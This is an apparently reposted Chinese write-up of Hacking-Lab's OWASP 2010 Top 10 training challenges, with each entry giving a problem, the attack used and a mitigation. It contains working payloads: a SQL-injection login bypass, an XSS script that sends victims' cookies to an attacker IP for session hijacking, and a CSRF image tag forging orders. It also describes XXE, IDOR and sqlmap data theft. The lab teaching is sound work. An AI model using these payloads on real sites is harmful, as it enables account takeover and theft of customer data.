Hacking-Lab top 10系列教程
以下報告按照官網的要求寫的,每一份報告需要三個部分,解釋安全問題、解釋你的攻擊、解釋緩解
6111 – OWASP 2010 – A1 SQL注入
提示:SQL注入是一種利用應用程式資料庫層中發生的安全漏洞的技術。當用戶輸入被錯誤地過濾為嵌入在SQL語句中的字串文字轉義字元或使用者輸入沒有強型別並因此意外執行時,存在漏洞。事實上,只要有一種程式設計或指令碼語言嵌入到另一種語言中,就會出現更常見的漏洞類。
目標:
找出使用者“hacker10”的信用卡詳細資訊。利用sql注入漏洞
解釋安全問題:
由於未過濾sql字元導致的sql注入
解釋你的攻擊:
按照提示,密碼存在 SQL 注入,試了一下萬能密碼, ‘or ’1′=’1 入侵成功。
解釋緩解辦法:
過濾關鍵的字元,’ ” or and 等。
6112 – OWASP 2010 – A2 – 跨站點指令碼
提示:由於採取了多項安全措施,Glockenemil-Shop可以防止竊聽,會話猜測和會話固定。留下模仿受害者的唯一攻擊手段是會話竊取。
目標:
偷走幾張會議門票,以獲得受害者特權的Glockenemil-Shop。這可以通過濫用Glockenemil的留言簿啟動適當的跨站點指令碼(XSS)攻擊來完成。
解釋安全問題:
XSS是一種經常出現在web應用中的電腦保安漏洞,它允許惡意web使用者將程式碼植入到提供給其它使用者使用的頁面中。比如這些程式碼包括HTML程式碼和客戶端指令碼。
解釋你的攻擊:
1、這是一個XSS漏洞,那我們要找到可輸入XSS的地方。
2、首先我們登入一個hacker11的賬號,這個賬號是攻擊者賬號。
3、購買一個商品,在商品評論處加入xss程式碼。
HELLO <script>var IP = "10.10.10.134"; new Image().src="http://" + IP + ":80/_INFO__" + escape(document.cookie ) + "__"</script>
4、開啟apache日誌,如果有人訪問我,就會有相應的請求,這個請求帶著使用者的COOKIE
5、更換使用者實驗,我們用hacker12登入網站,然後在開啟評論商品頁面,觀察一下相應的日誌資訊,已經獲取到hacker12的cookie值
6、通過這串cookie登入hacker12
BCookie=xdNWHI2ujj5ZOuQLCXd4dQ==
7、傳送cookie檢視hacker12頁面,登入成功
解釋緩解:
過濾不安全的標籤、實體化標籤等。
6113 – OWASP 2010 – A3 身份驗證和會話管理中斷
提交過一個方案沒通過,大家可以嘗試一下。
6114 - OWASP 2010 – A4 不安全的直接物件引用
提示:
這種戰爭遊戲的重點是驗證如何為每個角色/特權實現授權模式以訪問保留的功能/資源。對通過Web應用程式提供的功能和資料的訪問基本上取決於委託的主體。確保正確檢查此關係至關重要。否則,客戶可能會訪問外國帳戶資訊甚至高度機密的資料,從而導致繞過授權漏洞。
目標:
連線到易受攻擊的戰爭遊戲Web應用程式。使用給定的使用者名稱/密碼組合(hacker10:指南針或黑客11:羅盤,…)。閱讀您自己的個人資料 嘗試繞過配置檔案的授權方案,而無需與其他使用者重新進行身份驗證。 如果您被認證為hacker10,請嘗試閱讀/披露hacker12的個人資料。
解釋安全問題:
應用程式在做驗證的時候,未驗證使用者的真實性,從而導致了直接的不安全物件引用缺陷。
解釋你的攻擊:
1、檢視hacker11和hacker12的基本資訊
2、嘗試使用burpsuite 抓包 ,觀察一下資料包內容,修改一下pid的內容傳送資料包
3、發現hacker12的基本資訊變更為hacker11的。
解釋緩解:
設定加密的使用者物件ID。
在接收使用者物件時,驗證登入的使用者和實際的使用者物件是否一致。
6115 OWASP A5 – 跨站請求偽造
提示:
跨站點請求偽造,也稱為一鍵式攻擊或會話騎行,縮寫為CSRF或XSRF,是一種惡意利用網站,從而從網站信任的使用者傳輸未經授權的命令。
目標:
換回Glockenshop並驗證您的最後訂單。
解釋安全問題:
1、這是一個CSRF的漏洞,全稱跨站請求偽造,也就是說攻擊者可以通過某些手段在使用者不知情的情況下發起攻擊偽造使用者的請求。這是因為在提交請求的時候沒有驗證使用者的身份產生的。
解釋你的攻擊:
1、user:使用firefox登入我們使用者hacker10,嘗試購買一些商品
2、user:我們在hacker10的商城訂單
3、hacker:我們嘗試新增一個商品,抓包分析商品新增的情況,分析了一下productId=2 這個表示的商品的ID,quantity=2這個表示商品的數量
4、hacker:我們嘗試偽造一個html,這個html的內容為
<img src="http://glocken.hacking-lab.com/12001/cookie_case0/cookie0/controller?action=addproduct&productId=6&quantity=5&Submit=Order" />
5、hacker:傳送給使用者html頁面
6、user:開啟html頁面
7、user:看到自己的訂單裡多了商品
解釋緩解:
1、在表單提交裡面加一個token,並且保證token不可預測性。 2、設定同源策略,在不同源的情況下,不能完成相關的操作。 3、可以設定一個驗證碼提交
6116 OWASP A6 – 安全配置錯誤
提示:
XXE(Xml eXternal Entity)攻擊是對應用程式的攻擊,該應用程式使用錯誤配置的XML解析器解析來自不受信任來源的XML輸入。可以強制應用程式開啟任意檔案和/或TCP連線。
目標:
找出資料庫連線屬性(MySQL使用者名稱和密碼)。(/ opt / applic /的子目錄中的mysql.properties)
解釋安全問題:
XML外部實體注入,實際上就是沒有過濾掉不可信的操作導致的一個問題,沒有限制XML直譯器接受的內容,導致XML解析了讀取檔案的相關操作。
解釋你的攻擊:
1、我們找到這個頁面,觀察了一下只有兩個引數。
2、通過抓包我們修改XML的內容,加上system file:程式碼,然後通過Repeater觀察返回包的情況,發現了XML注入後返回的內容
解釋補救:
1、使用開發語言提供的禁用外部實體的方法 2、過濾使用者提交的XML資料
6117 – OWASP 2010 – A7 不安全的加密儲存
提示:
SQL注入是一種利用應用程式資料庫層中發生的安全漏洞的技術。當用戶輸入被錯誤地過濾為嵌入在SQL語句中的字串文字轉義字元,或者使用者輸入沒有強型別並因此意外執行時,就會出現此漏洞。事實上,只要有一種程式設計或指令碼語言嵌入到另一種語言中,就會出現更常見的漏洞類。
目標:
披露所有註冊使用者的所有信用卡號碼。使用以下Web應用程式。
披露所有mysql使用者表,帳戶,密碼
解釋安全問題:
這是一個由sql注入導致的問題,注入到資料庫以後,發現使用者名稱、密碼和相關的資料,其中密碼是明文的,這樣會導致系統被入侵以後,直接導致賬戶密碼洩露。
解釋你的攻擊:
1、找到搜尋商品的注入點。 2、使用sqlmap跑出相關的資料
解釋緩解:
1、過濾關鍵的字串,補救sql注入 2、密碼設定加密的形式,可以使用MD5加密。
6 118 – OWASP 2010 – A8 無法限制URL訪問
提示:通常,對URL的唯一保護是指向該頁面的連結不會呈現給未經授權的使用者。但是,有動力,技術熟練或僅僅是幸運的攻擊者可能能夠找到並訪問這些頁面,呼叫函式和檢視資料。
目標:
找到隱藏的管理員連結並獲取完整的信用卡交易列表。
默默無聞的安全性不足以保護應用程式中的敏感功能和資料。必須在授予對敏感功能的請求之前執行訪問控制檢查,這可確保使用者有權訪問該功能。
解釋安全問題:
這是由於不安全的連結訪問導致的,由於沒有驗證使用者的連結ID,導致直接獲取了其他使用者的資訊
解釋你的攻擊:
1、找到這個連結,看到有個faction pay什麼的,感覺像是訂單資訊。嘗試訪問了一下。
2、發現是要登入的,然後我們登入後,跳轉到這個billing address頁面。我們點選edit編輯一下頁面
3、看到個人資訊的頁面,發現hacker11的個人資訊
4、我們嘗試修改pid,發現了hacker13的資訊。
解釋緩解:
1、驗證連結的可信程度,驗證pid=2的使用者是否是hacker11登入的。不同的使用者只能訪問自己的資訊6119 – OWASP 2010 – A9 傳輸層保護不足
6120 – OWASP 2010 – A10 未經驗證的重定向和轉發
後面兩題沒做,不是很理解想要實現什麼,有解決的大佬,可以交流一下。
這些題目的難度並不高,有趣的地方在於整個寫報告的過程
這個通關的方法還需要通過撰寫官方要求的文件,提交後由平臺稽核。
這些文件必須是全英文的文件,一般都是老外稽核。
*本文作者:Rogerd,轉載請註明來自FreeBuf.COM